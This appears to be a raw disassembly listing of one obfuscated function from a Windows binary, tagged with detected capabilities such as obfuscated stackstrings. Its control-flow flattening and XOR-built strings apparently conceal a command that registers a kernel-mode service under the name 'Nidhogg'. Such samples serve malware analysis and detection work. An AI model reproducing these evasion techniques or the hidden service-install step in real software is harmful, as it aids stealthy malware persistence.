Function at 0x18002fa0d
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push rax
pushf
mov eax, 0x977f4387
pushf
not eax
add eax, 0xcdceca43
xor eax, 0x83a889d8
rol eax, 0x9c
popf
pushf
not eax
add eax, 0x9b246cbc
xor eax, 0xdd80f939
rol eax, 0x22
popf
pushf
not eax
add eax, 0xbe25ed7e
xor eax, 0xb511e18b
rol eax, 7
popf
cmp eax, 4
jne 0x18002fa5d
popf
pop rax
jmp 0x18002fe29
cmp eax, 0
jne 0x18002fa6c
popf
pop rax
jmp 0x18002fbb6
cmp eax, 3
jne 0x18002fa7b
popf
pop rax
jmp 0x18002fd90
cmp eax, 1
jne 0x18002fa8a
popf
pop rax
jmp 0x18002fc90
cmp eax, 0xd
jne 0x18002fa99
popf
pop rax
jmp 0x180030dc4
cmp eax, 7
jne 0x18002faa8
popf
pop rax
jmp 0x1800300d3
cmp eax, 0xe
jne 0x18002fab7
popf
pop rax
jmp 0x180030e88
cmp eax, 0xb
jne 0x18002fac6
popf
pop rax
jmp 0x180030c7e
cmp eax, 0xc
jne 0x18002fad5
popf
pop rax
jmp 0x180030d2d
cmp eax, 8
jne 0x18002fae4
popf
pop rax
jmp 0x180030132
cmp eax, 0x10
jne 0x18002faf3
popf
pop rax
jmp 0x18003127a
cmp eax, 0x17
jne 0x18002fb02
popf
pop rax
jmp 0x1800317f9
cmp eax, 9
jne 0x18002fb11
popf
pop rax
jmp 0x180030274
cmp eax, 0x12
jne 0x18002fb20
popf
pop rax
jmp 0x180031520
cmp eax, 6
jne 0x18002fb2f
popf
pop rax
jmp 0x18002ff78
cmp eax, 0x11
jne 0x18002fb3e
popf
pop rax
jmp 0x1800312d6
cmp eax, 5
jne 0x18002fb4d
popf
pop rax
jmp 0x18002feb9
cmp eax, 0x16
jne 0x18002fb5c
popf
pop rax
jmp 0x180031799
cmp eax, 0xa
jne 0x18002fb6b
popf
pop rax
jmp 0x18003099a
cmp eax, 0x14
jne 0x18002fb7a
popf
pop rax
jmp 0x18003169b
cmp eax, 0xf
jne 0x18002fb89
popf
pop rax
jmp 0x180030f70
cmp eax, 0x13
jne 0x18002fb98
popf
pop rax
jmp 0x180031556
cmp eax, 0x15
jne 0x18002fba7
popf
pop rax
jmp 0x1800316fa
cmp eax, 2
jne 0x18002fbb6
popf
pop rax
jmp 0x18002fd68
mov rax, rsp
push rbp
lea rbp, [rax - 0x408]
sub rsp, 0x500
mov qword [rbp + 0xd8], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], r15
lea rcx, [rbp + 0x2e0]
call fcn.180034f2f
mov rcx, rax
lea rdx, [rbp + 0x1c0]
mov eax, 0x12b4eb9
pushf
not eax
add eax, 0x8676f481
xor eax, 0x8d753b75
rol eax, 2
popf
pushf
not eax
add eax, 0xdfb124cf
xor eax, 0xf9ebb24e
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xb674ba57
xor eax, 0xad891745
rol eax, 0x3e
popf
lea r8d, [rax + 0x7e]
push rax
pushf
mov eax, 0xb99153d6
pushf
not eax
add eax, 0xf92b460c
xor eax, 0x896f94a9
rol eax, 0x60
popf
pushf
not eax
add eax, 0xec89945e
xor eax, 0xf2e9b6df
rol eax, 0x87
popf
pushf
not eax
add eax, 0x850e97df
xor eax, 0xc13bf66a
rol eax, 0xd2
popf
pushf
not eax
add eax, 0xeddd5e22
xor eax, 0xf5994226
rol eax, 0x1c
popf
jmp 0x18002fa4e
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
push r8
not r8
sub rdx, r8
pop r8
sub rdx, 1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
push r8
not r8
sub rcx, r8
pop r8
sub rcx, 1
sub rax, 1
jne 0x18002fd22
push rax
pushf
mov eax, 0xffea134e
pushf
not eax
add eax, 0x9c9962d7
xor eax, 0xce2edd58
rol eax, 1
popf
pushf
not eax
add eax, 0x877b56b8
xor eax, 0xe2703117
rol eax, 0xe
popf
jmp 0x18002fa4e
push rax
pushf
mov eax, 0xdc55efa0
pushf
not eax
add eax, 0x86cf49a8
xor eax, 0xb9862bd2
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xe6bba2ac
xor eax, 0x804dfe00
rol eax, 8
popf
pushf
not eax
add eax, 0xa39f0094
xor eax, 0xc54037d7
rol eax, 0x30
popf
jmp 0x18002fa4e
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
mov rax, qword [rcx + 0x10]
mov qword [rdx + 0x10], rax
mov eax, dword [rcx + 0x18]
mov dword [rdx + 0x18], eax
mov rax, qword [rbp + 0x1c0]
shr rax, 0x20
cmp eax, 6
jne 0x18002ff78
cmp dword [rbp + 0x1c8], 1
je 0x18002fdf6
push rax
pushf
mov eax, 0xd63c0de9
pushf
not eax
add eax, 0x9ef4d041
xor eax, 0x924208ac
rol eax, 7
popf
pushf
not eax
add eax, 0x91efb04c
xor eax, 0xfb1793a6
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xd691939f
xor eax, 0xff44a5bd
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xc9355d6e
xor eax, 0xacfaa49a
rol eax, 0xf0
popf
jmp 0x18002fa4e
push rax
pushf
mov eax, 0x204772af
pushf
not eax
add eax, 0xe4959ebd
xor eax, 0xe161611c
rol eax, 0x81
popf
pushf
not eax
add eax, 0xa1926869
xor eax, 0xd733ce4d
rol eax, 0x41
popf
jmp 0x18002fa4e
cmp eax, eax
jne 0x18002fe60
push rax
pushf
mov eax, 0xe15899c8
pushf
not eax
add eax, 0xba972b0c
xor eax, 0xa07d2dd6
rol eax, 0x6a
popf
pushf
not eax
add eax, 0xdff6360b
xor eax, 0xf903e025
rol eax, 0x25
popf
jmp 0x18002fa4e
push rax
pushf
mov eax, 0x6425e14
pushf
not eax
add eax, 0xd40a712e
xor eax, 0x8a125844
rol eax, 0x76
popf
pushf
not eax
add eax, 0xcd7fd161
xor eax, 0x9de2fb86
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xfbd3e7f5
xor eax, 0xeb1eb95b
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xf04ea0a8
xor eax, 0x8476df54
rol eax, 0x35
popf
jmp 0x18002fa4e
cmp dword [rbp + 0x1c8], 3
je 0x18002ff1f
push rax
pushf
mov eax, 0xa8da76a0
pushf
not eax
add eax, 0xcfa9f203
xor eax, 0xe82d0b7d
rol eax, 0x8b
popf
pushf
not eax
add eax, 0x807bb775
xor eax, 0xed6908cb
rol eax, 0x57
popf
pushf
not eax
add eax, 0x9818b4ad
xor eax, 0x825e5a0b
rol eax, 0x32
popf
pushf
not eax
add eax, 0xac7ed8f7
xor eax, 0xe8fed2d0
rol eax, 0x57
popf
jmp 0x18002fa4e
push rax
pushf
mov eax, 0xb19f3edc
pushf
not eax
add eax, 0xb0af6b74
xor eax, 0xab0d831c
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xabc89380
xor eax, 0x846bd0c2
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xce9a856b
xor eax, 0xec1237b3
rol eax, 0x63
popf
pushf
not eax
add eax, 0xcc213caf
xor eax, 0xbe02357a
rol eax, 0xb3
popf
jmp 0x18002fa4e
mov dword [rbp + 0x38], WSAStartup
mov eax, dword [rbp + 0x38]
xor eax, 0xffffffbc
mov byte [rbp + 0x3c], al
mov eax, dword [rbp + 0x38]
inc al
xor eax, 0xffffffd3
mov byte [rbp + 0x3d], al
mov eax, dword [rbp + 0x38]
add al, 2
xor eax, 0xffffffd4
mov byte [rbp + 0x3e], al
mov eax, dword [rbp + 0x38]
add al, 3
xor eax, 0xffffffd8
mov byte [rbp + 0x3f], al
mov eax, dword [rbp + 0x38]
add al, 4
xor eax, 0xffffffc4
mov byte [rbp + 0x40], al
mov eax, dword [rbp + 0x38]
add al, 5
xor eax, 0xffffffda
mov byte [rbp + 0x41], al
mov eax, dword [rbp + 0x38]
add al, 6
xor eax, 0xffffffba
mov byte [rbp + 0x42], al
mov eax, dword [rbp + 0x38]
add al, 7
xor eax, 0xffffffcb
mov byte [rbp + 0x43], al
mov eax, dword [rbp + 0x38]
add al, 8
xor eax, 0xffffffb1
mov byte [rbp + 0x44], al
mov eax, dword [rbp + 0x38]
add al, 9
xor eax, 0xffffffa3
mov byte [rbp + 0x45], al
mov eax, dword [rbp + 0x38]
add al, 0xa
xor eax, 0xffffffbb
mov byte [rbp + 0x46], al
mov eax, dword [rbp + 0x38]
add al, 0xb
xor eax, 0xffffffa4
mov byte [rbp + 0x47], al
xor eax, eax
mov byte [rbp + 0x48], al
mov al, byte [rbp + 0x3c]
lea rcx, [rbp + 0x38]
call fcn.18000c0ac
mov rdx, rax
lea rcx, [rbp + 0x140]
call fcn.1800037a0
mov rbx, rax
mov qword [rbp + 0x410], rax
cmp dword [0x180021c18], 0
je 0x18003007a
push rax
pushf
mov eax, 0xa9a747a0
pushf
not eax
add eax, 0xc080314f
xor eax, 0xd965babe
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xb1354ca2
xor eax, 0xcd5e393d
rol eax, 0xc8
popf
pushf
not eax
add eax, 0x9f102e01
xor eax, 0xb58cf919
rol eax, 0x6d
popf
jmp 0x18002fa4e
push rax
pushf
mov eax, 0x62bcd0ba
pushf
not eax
add eax, 0xd213308c
xor eax, 0xa3455102
rol eax, 7
popf
pushf
not eax
add eax, 0xad31cafd
xor eax, 0xea3ff4de
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xf9e1ad74
xor eax, 0xd2dc33a9
rol eax, 0x88
popf
pushf
not eax
add eax, 0xba94a0b3
xor eax, 0xa71cf95d
rol eax, 0x11
popf
jmp 0x18002fa4e
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180010da0
mov rcx, rax
lea rdx, [0x1cb2a5de4]
pushf
sub rdx, 0x4b295030
popf
jmp 0x1800300f8
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
push rax
pushf
mov eax, 0x81e67d26
pushf
not eax
add eax, 0x97462bd9
xor eax, 0xfadb25c9
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xa59ee596
xor eax, 0xb1e0d368
rol eax, 0xa9
popf
jmp 0x18002fa4e
mov rcx, rbx
call fcn.180003444
nop
mov dword [rbp + 0x2c], 1
mov eax, dword [rbp + 0x2c]
xor eax, 0x4e
mov byte [rbp + 0x30], al
mov eax, dword [rbp + 0x2c]
inc al
xor eax, 0x69
mov byte [rbp + 0x31], al
mov eax, dword [rbp + 0x2c]
add al, 2
xor eax, 0x64
mov byte [rbp + 0x32], al
mov eax, dword [rbp + 0x2c]
add al, 3
xor eax, 0x68
mov byte [rbp + 0x33], al
mov eax, dword [rbp + 0x2c]
add al, 4
xor eax, 0x6f
mov byte [rbp + 0x34], al
mov eax, dword [rbp + 0x2c]
add al, 5
xor eax, 0x67
mov byte [rbp + 0x35], al
mov eax, dword [rbp + 0x2c]
add al, 6
xor eax, 0x67
mov byte [rbp + 0x36], al
xor eax, eax
mov byte [rbp + 0x37], al
mov al, byte [rbp + 0x30]
lea rcx, [rbp + 0x2c]
call fcn.18000c1ac
mov rcx, rax
call fcn.18000dc54
mov esi, 0x2666f954
pushf
not esi
add esi, 0xf4e4b304
xor esi, 0xe7de0ef4
rol esi, 0xe6
popf
pushf
not esi
add esi, 0xc096fce5
xor esi, 0xa0aae1de
rol esi, 0xfe
popf
pushf
not esi
add esi, 0xeb515ce5
xor esi, 0xb7310efb
rol esi, 0xe1
popf
pushf
not esi
add esi, 0xa6bb3241
xor esi, 0xf1786a02
rol esi, 0xc1
popf
lea ecx, [rsi - 4]
lea r15d, [rsi - 0x45]
test al, al
jne 0x180030241
push rax
pushf
mov eax, 0x24143c26
pushf
not eax
add eax, 0xae39a7f4
xor eax, 0xb2b9bb91
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xc5075556
xor eax, 0x8c2284f9
rol eax, 0xcd
popf
jmp 0x18002fa4e
push rax
pushf
mov eax, 0xaaccccbe
pushf
not eax
add eax, 0x9b8309e5
xor eax, 0x977b0fd7
rol eax, 0x4d
popf
pushf
not eax
add eax, 0x8dc8367d
xor eax, 0xe68a0983
rol eax, 0xcb
popf
jmp 0x18002fa4e
mov dword [rsp + 0x40], 0x63
mov eax, dword [rsp + 0x40]
xor eax, 0x73
mov byte [rsp + 0x44], al
mov eax, dword [rsp + 0x40]
inc al
xor eax, 0x63
mov byte [rsp + 0x45], al
mov eax, dword [rsp + 0x40]
add al, 2
xor eax, r15d
mov byte [rsp + 0x46], al
mov eax, dword [rsp + 0x40]
add al, 3
xor eax, 0x63
mov byte [rsp + 0x47], al
mov eax, dword [rsp + 0x40]
add al, 4
xor eax, 0x72
mov byte [rsp + 0x48], al
mov eax, dword [rsp + 0x40]
add al, 5
xor eax, esi
mov byte [rsp + 0x49], al
mov eax, dword [rsp + 0x40]
add al, 6
xor eax, ecx
mov byte [rsp + 0x4a], al
mov eax, dword [rsp + 0x40]
add al, 7
xor eax, 0x74
mov byte [rsp + 0x4b], al
mov eax, dword [rsp + 0x40]
add al, 8
xor eax, esi
mov byte [rsp + 0x4c], al
mov eax, dword [rsp + 0x40]
add al, 9
xor eax, r15d
mov byte [rsp + 0x4d], al
mov eax, dword [rsp + 0x40]
add al, 0xa
xor eax, 0x4e
mov byte [rsp + 0x4e], al
mov eax, dword [rsp + 0x40]
add al, 0xb
xor eax, 0x69
mov byte [rsp + 0x4f], al
mov eax, dword [rsp + 0x40]
add al, 0xc
xor eax, 0x64
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x40]
add al, 0xd
xor eax, 0x68
mov byte [rsp + 0x51], al
mov eax, dword [rsp + 0x40]
add al, 0xe
xor eax, 0x6f
mov byte [rsp + 0x52], al
mov eax, dword [rsp + 0x40]
add al, 0xf
xor eax, 0x67
mov byte [rsp + 0x53], al
mov eax, dword [rsp + 0x40]
add al, 0x10
xor eax, 0x67
mov byte [rsp + 0x54], al
mov eax, dword [rsp + 0x40]
add al, 0x11
xor eax, r15d
mov byte [rsp + 0x55], al
mov eax, dword [rsp + 0x40]
add al, 0x12
xor eax, 0x64
mov byte [rsp + 0x56], al
mov eax, dword [rsp + 0x40]
add al, 0x13
xor eax, 0x69
mov byte [rsp + 0x57], al
mov eax, dword [rsp + 0x40]
add al, 0x14
xor eax, 0x73
mov byte [rsp + 0x58], al
mov eax, dword [rsp + 0x40]
add al, 0x15
xor eax, 0x70
mov byte [rsp + 0x59], al
mov eax, dword [rsp + 0x40]
add al, 0x16
xor eax, 0x6c
mov byte [rsp + 0x5a], al
mov eax, dword [rsp + 0x40]
add al, 0x17
xor eax, ecx
mov byte [rsp + 0x5b], al
mov eax, dword [rsp + 0x40]
add al, 0x18
xor eax, 0x79
mov byte [rsp + 0x5c], al
mov eax, dword [rsp + 0x40]
add al, 0x19
xor eax, 0x6e
mov byte [rsp + 0x5d], al
mov eax, dword [rsp + 0x40]
add al, 0x1a
xor eax, ecx
mov byte [rsp + 0x5e], al
mov eax, dword [rsp + 0x40]
add al, 0x1b
xor eax, 0x6d
mov byte [rsp + 0x5f], al
mov eax, dword [rsp + 0x40]
add al, 0x1c
xor eax, esi
mov byte [rsp + 0x60], al
mov eax, dword [rsp + 0x40]
add al, 0x1d
xor eax, 0x3d
mov byte [rsp + 0x61], al
mov eax, dword [rsp + 0x40]
add al, 0x1e
xor eax, r15d
mov byte [rsp + 0x62], al
mov eax, dword [rsp + 0x40]
add al, 0x1f
xor eax, 0x4e
mov byte [rsp + 0x63], al
mov eax, dword [rsp + 0x40]
add al, r15b
xor eax, 0x69
mov byte [rsp + 0x64], al
mov eax, dword [rsp + 0x40]
add al, 0x21
xor eax, 0x64
mov byte [rsp + 0x65], al
mov eax, dword [rsp + 0x40]
add al, 0x22
xor eax, 0x68
mov byte [rsp + 0x66], al
mov eax, dword [rsp + 0x40]
add al, 0x23
xor eax, 0x6f
mov byte [rsp + 0x67], al
mov eax, dword [rsp + 0x40]
add al, 0x24
xor eax, 0x67
mov byte [rsp + 0x68], al
mov eax, dword [rsp + 0x40]
add al, 0x25
xor eax, 0x67
mov byte [rsp + 0x69], al
mov eax, dword [rsp + 0x40]
add al, 0x26
xor eax, r15d
mov byte [rsp + 0x6a], al
mov eax, dword [rsp + 0x40]
add al, 0x27
xor eax, 0x62
mov byte [rsp + 0x6b], al
mov eax, dword [rsp + 0x40]
add al, 0x28
xor eax, 0x69
mov byte [rsp + 0x6c], al
mov eax, dword [rsp + 0x40]
add al, 0x29
xor eax, 0x6e
mov byte [rsp + 0x6d], al
mov eax, dword [rsp + 0x40]
add al, 0x2a
xor eax, 0x50
mov byte [rsp + 0x6e], al
mov eax, dword [rsp + 0x40]
add al, 0x2b
xor eax, ecx
mov byte [rsp + 0x6f], al
mov eax, dword [rsp + 0x40]
add al, 0x2c
xor eax, 0x74
mov byte [rsp + 0x70], al
mov eax, dword [rsp + 0x40]
add al, 0x2d
xor eax, 0x68
mov byte [rsp + 0x71], al
mov eax, dword [rsp + 0x40]
add al, 0x2e
xor eax, 0x3d
mov byte [rsp + 0x72], al
mov eax, dword [rsp + 0x40]
add al, 0x2f
xor eax, r15d
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x40]
add al, 0x30
xor eax, 0x22
mov byte [rsp + 0x74], al
mov eax, dword [rsp + 0x40]
add al, 0x31
xor eax, 0x43
mov byte [rsp + 0x75], al
mov eax, dword [rsp + 0x40]
add al, 0x32
xor eax, 0x3a
mov byte [rsp + 0x76], al
mov eax, dword [rsp + 0x40]
add al, 0x33
xor eax, 0x5c
mov byte [rsp + 0x77], al
mov eax, dword [rsp + 0x40]
add al, 0x34
xor eax, 0x50
mov byte [rsp + 0x78], al
mov eax, dword [rsp + 0x40]
add al, 0x35
xor eax, 0x72
mov byte [rsp + 0x79], al
mov eax, dword [rsp + 0x40]
add al, 0x36
xor eax, 0x6f
mov byte [rsp + 0x7a], al
mov eax, dword [rsp + 0x40]
add al, 0x37
xor eax, 0x67
mov byte [rsp + 0x7b], al
mov eax, dword [rsp + 0x40]
add al, 0x38
xor eax, 0x72
mov byte [rsp + 0x7c], al
mov eax, dword [rsp + 0x40]
add al, 0x39
xor eax, ecx
mov byte [rsp + 0x7d], al
mov eax, dword [rsp + 0x40]
add al, 0x3a
xor eax, 0x6d
mov byte [rsp + 0x7e], al
mov eax, dword [rsp + 0x40]
add al, 0x3b
xor eax, r15d
mov byte [rsp + 0x7f], al
mov eax, dword [rsp + 0x40]
add al, 0x3c
xor eax, 0x46
mov byte [rbp - 0x80], al
mov eax, dword [rsp + 0x40]
add al, 0x3d
xor eax, 0x69
mov byte [rbp - 0x7f], al
mov eax, dword [rsp + 0x40]
add al, 0x3e
xor eax, 0x6c
mov byte [rbp - 0x7e], al
mov eax, dword [rsp + 0x40]
add al, 0x3f
xor eax, esi
mov byte [rbp - 0x7d], al
mov eax, dword [rsp + 0x40]
add al, 0x40
xor eax, 0x73
mov byte [rbp - 0x7c], al
mov eax, dword [rsp + 0x40]
add al, 0x41
xor eax, r15d
mov byte [rbp - 0x7b], al
mov eax, dword [rsp + 0x40]
add al, 0x42
xor eax, 0x28
mov byte [rbp - 0x7a], al
mov eax, dword [rsp + 0x40]
add al, 0x43
xor eax, 0x78
mov byte [rbp - 0x79], al
mov eax, dword [rsp + 0x40]
add al, 0x44
xor eax, 0x38
mov byte [rbp - 0x78], al
mov eax, dword [rsp + 0x40]
add al, 0x45
xor eax, 0x36
mov byte [rbp - 0x77], al
mov eax, dword [rsp + 0x40]
add al, 0x46
xor eax, 0x29
mov byte [rbp - 0x76], al
mov eax, dword [rsp + 0x40]
add al, 0x47
xor eax, 0x5c
mov byte [rbp - 0x75], al
mov eax, dword [rsp + 0x40]
add al, 0x48
xor eax, 0x57
mov byte [rbp - 0x74], al
mov eax, dword [rsp + 0x40]
add al, 0x49
xor eax, esi
mov byte [rbp - 0x73], al
mov eax, dword [rsp + 0x40]
add al, 0x4a
xor eax, 0x67
mov byte [rbp - 0x72], al
mov eax, dword [rsp + 0x40]
add al, 0x4b
xor eax, ecx
mov byte [rbp - 0x71], al
mov eax, dword [rsp + 0x40]
add al, 0x4c
xor eax, 0x6d
mov byte [rbp - 0x70], al
mov eax, dword [rsp + 0x40]
add al, 0x4d
xor eax, esi
mov byte [rbp - 0x6f], al
mov eax, dword [rsp + 0x40]
add al, 0x4e
xor eax, 0x5c
mov byte [rbp - 0x6e], al
mov eax, dword [rsp + 0x40]
add al, 0x4f
xor eax, 0x63
mov byte [rbp - 0x6d], al
mov eax, dword [rsp + 0x40]
add al, 0x50
xor eax, 0x75
mov byte [rbp - 0x6c], al
mov eax, dword [rsp + 0x40]
add al, 0x51
xor eax, 0x72
mov byte [rbp - 0x6b], al
mov eax, dword [rsp + 0x40]
add al, 0x52
xor eax, 0x6c
mov byte [rbp - 0x6a], al
mov eax, dword [rsp + 0x40]
add al, 0x53
xor eax, 0x2e
mov byte [rbp - 0x69], al
mov eax, dword [rsp + 0x40]
add al, 0x54
xor eax, 0x64
mov byte [rbp - 0x68], al
mov eax, dword [rsp + 0x40]
add al, 0x55
xor eax, 0x6c
mov byte [rbp - 0x67], al
mov eax, dword [rsp + 0x40]
add al, 0x56
xor eax, 0x6c
mov byte [rbp - 0x66], al
mov eax, dword [rsp + 0x40]
add al, 0x57
xor eax, 0x22
mov byte [rbp - 0x65], al
mov eax, dword [rsp + 0x40]
add al, 0x58
xor eax, r15d
mov byte [rbp - 0x64], al
mov eax, dword [rsp + 0x40]
add al, 0x59
xor eax, 0x74
mov byte [rbp - 0x63], al
mov eax, dword [rsp + 0x40]
add al, 0x5a
xor eax, 0x79
mov byte [rbp - 0x62], al
mov eax, dword [rsp + 0x40]
add al, 0x5b
xor eax, 0x70
mov byte [rbp - 0x61], al
mov eax, dword [rsp + 0x40]
add al, 0x5c
xor eax, esi
mov byte [rbp - 0x60], al
mov eax, dword [rsp + 0x40]
add al, 0x5d
xor eax, 0x3d
mov byte [rbp - 0x5f], al
mov eax, dword [rsp + 0x40]
add al, 0x5e
xor eax, r15d
mov byte [rbp - 0x5e], al
mov eax, dword [rsp + 0x40]
add al, 0x5f
xor eax, 0x6b
mov byte [rbp - 0x5d], al
mov eax, dword [rsp + 0x40]
add al, 0x60
xor eax, esi
mov byte [rbp - 0x5c], al
mov eax, dword [rsp + 0x40]
add al, cl
xor eax, 0x72
mov byte [rbp - 0x5b], al
mov eax, dword [rsp + 0x40]
add al, 0x62
xor eax, 0x6e
mov byte [rbp - 0x5a], al
mov eax, dword [rsp + 0x40]
add al, 0x63
xor eax, esi
mov byte [rbp - 0x59], al
mov eax, dword [rsp + 0x40]
add al, 0x64
xor eax, 0x6c
mov byte [rbp - 0x58], al
mov eax, dword [rsp + 0x40]
add al, sil
xor eax, r15d
mov byte [rbp - 0x57], al
mov eax, dword [rsp + 0x40]
add al, 0x66
xor eax, 0x73
mov byte [rbp - 0x56], al
mov eax, dword [rsp + 0x40]
add al, 0x67
xor eax, 0x74
mov byte [rbp - 0x55], al
mov eax, dword [rsp + 0x40]
add al, 0x68
xor eax, ecx
mov byte [rbp - 0x54], al
mov eax, dword [rsp + 0x40]
add al, 0x69
xor eax, 0x72
mov byte [rbp - 0x53], al
mov eax, dword [rsp + 0x40]
add al, 0x6a
xor eax, 0x74
mov byte [rbp - 0x52], al
mov eax, dword [rsp + 0x40]
add al, 0x6b
xor eax, 0x3d
mov byte [rbp - 0x51], al
mov eax, dword [rsp + 0x40]
add al, 0x6c
xor eax, r15d
mov byte [rbp - 0x50], al
mov eax, dword [rsp + 0x40]
add al, 0x6d
xor eax, ecx
mov byte [rbp - 0x4f], al
mov eax, dword [rsp + 0x40]
add al, 0x6e
xor eax, 0x75
mov byte [rbp - 0x4e], al
mov eax, dword [rsp + 0x40]
add al, 0x6f
xor eax, 0x74
mov byte [rbp - 0x4d], al
mov eax, dword [rsp + 0x40]
add al, 0x70
xor eax, 0x6f
mov byte [rbp - 0x4c], al
xor eax, eax
mov byte [rbp - 0x4b], al
mov al, byte [rsp + 0x44]
lea rcx, [rsp + 0x40]
call fcn.18000c184
mov rcx, rax
call fcn.18000f308
mov byte [rbp + 0x71], 0x4e
mov byte [rbp + 0x72], 0x45
mov byte [rbp + 0x73], 0x67
mov byte [rbp + 0x74], 0x5b
mov byte [rbp + 0x75], 0x7d
mov byte [rbp + 0x76], 0x7a
mov byte [rbp + 0x77], WSAStartup
mov byte [rbp + 0x78], 0x7d
mov byte [rbp + 0x79], 0x6c
mov byte [rbp + 0x7a], 0x78
mov byte [rbp + 0x7b], 0x2b
mov byte [rbp + 0x7c], 0x51
mov byte [rbp + 0x7d], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x7e], 0x77
mov byte [rbp + 0x7f], WSAStartup
mov byte [rbp + 0x80], 0x7e
mov byte [rbp + 0x81], 0x2b
mov byte [rbp + 0x82], 0x33
mov byte [rbp + 0x83], 0x83
mov byte [rbp + 0x84], 0x43
mov byte [rbp + 0x85], 0x41
mov byte [rbp + 0x86], 0x34
mov byte [rbp + 0x87], 0x67
mov byte [rbp + 0x88], 0x62
mov byte [rbp + 0x89], WSAStartup
mov byte [rbp + 0x8a], WSAStartup
mov byte [rbp + 0x8b], 0x6c
mov byte [rbp + 0x8c], 0x78
mov byte [rbp + 0x8d], WSAStartup
mov byte [rbp + 0x8e], 0x67
mov byte [rbp + 0x8f], WSAStartup
mov byte [rbp + 0x90], 0x80
mov byte [rbp + 0x91], 0x7d
mov byte [rbp + 0x92], 0x77
mov byte [rbp + 0x93], 0x39
mov byte [rbp + 0x94], WSAStartup
mov byte [rbp + 0x95], 0x77
mov byte [rbp + 0x96], 0x77
mov byte [rbp + 0x97], 0
mov al, byte [rbp + 0x71]
lea rcx, [rbp + 0x71]
call fcn.18000c164
mov rdx, rax
lea rcx, [rbp + 0xe0]
call fcn.1800037a0
nop
lea rcx, [rbp + 0xe0]
call fcn.18000e214
test al, al
sete bl
lea rcx, [rbp + 0xe0]
call fcn.180003444
nop
test bl, bl
je 0x180030967
push rax
pushf
mov eax, 0xa4190082
pushf
not eax
add eax, 0xa3c72ba9
xor eax, 0xf760fb6e
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xd6fdd49c
xor eax, 0xb6c2937b
rol eax, 0x89
popf
jmp 0x18002fa4e
push rax
pushf
mov eax, 0xd0f2f810
pushf
not eax
add eax, 0xd61a5855
xor eax, 0x8c6f43a3
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xe929fd76
xor eax, 0xacf3bc56
rol eax, 0xae
popf
jmp 0x18002fa4e
mov dword [rbp - 0x14], 0x46
mov eax, dword [rbp - 0x14]
xor eax, 0x63
mov byte [rbp - 0x10], al
mov eax, dword [rbp - 0x14]
inc al
xor eax, 0x72
mov byte [rbp - 0xf], al
mov eax, dword [rbp - 0x14]
add al, 2
xor eax, 0x61
mov byte [rbp - 0xe], al
mov eax, dword [rbp - 0x14]
add al, 3
xor eax, 0x73
mov byte [rbp - 0xd], al
mov eax, dword [rbp - 0x14]
add al, 4
xor eax, 0x68
mov byte [rbp - 0xc], al
mov eax, dword [rbp - 0x14]
add al, 5
xor eax, 0x5f
mov byte [rbp - 0xb], al
mov eax, dword [rbp - 0x14]
add al, 6
xor eax, 0x72
mov byte [rbp - 0xa], al
mov eax, dword [rbp - 0x14]
add al, 7
xor eax, esi
mov byte [rbp - 9], al
mov eax, dword [rbp - 0x14]
add al, 8
xor eax, 0x70
mov byte [rbp - 8], al
mov eax, dword [rbp - 0x14]
add al, 9
xor eax, 0x6f
mov byte [rbp - 7], al
mov eax, dword [rbp - 0x14]
add al, 0xa
xor eax, 0x72
mov byte [rbp - 6], al
mov eax, dword [rbp - 0x14]
add al, 0xb
xor eax, 0x74
mov byte [rbp - 5], al
mov eax, dword [rbp - 0x14]
add al, 0xc
xor eax, esi
mov byte [rbp - 4], al
mov eax, dword [rbp - 0x14]
add al, 0xd
xor eax, 0x72
mov byte [rbp - 3], al
mov eax, dword [rbp - 0x14]
add al, 0xe
xor eax, 0x2e
mov byte [rbp - 2], al
mov eax, dword [rbp - 0x14]
add al, 0xf
xor eax, esi
mov byte [rbp - 1], al
mov eax, dword [rbp - 0x14]
add al, 0x10
xor eax, 0x78
mov byte [rbp], al
mov eax, dword [rbp - 0x14]
add al, 0x11
xor eax, esi
mov byte [rbp + 1], al
mov eax, dword [rbp - 0x14]
add al, 0x12
xor eax, r15d
mov byte [rbp + 2], al
mov eax, dword [rbp - 0x14]
add al, 0x13
xor eax, 0x78
mov byte [rbp + 3], al
mov eax, dword [rbp - 0x14]
add al, 0x14
xor eax, r15d
mov byte [rbp + 4], al
mov eax, dword [rbp - 0x14]
add al, 0x15
xor eax, 0x2d
mov byte [rbp + 5], al
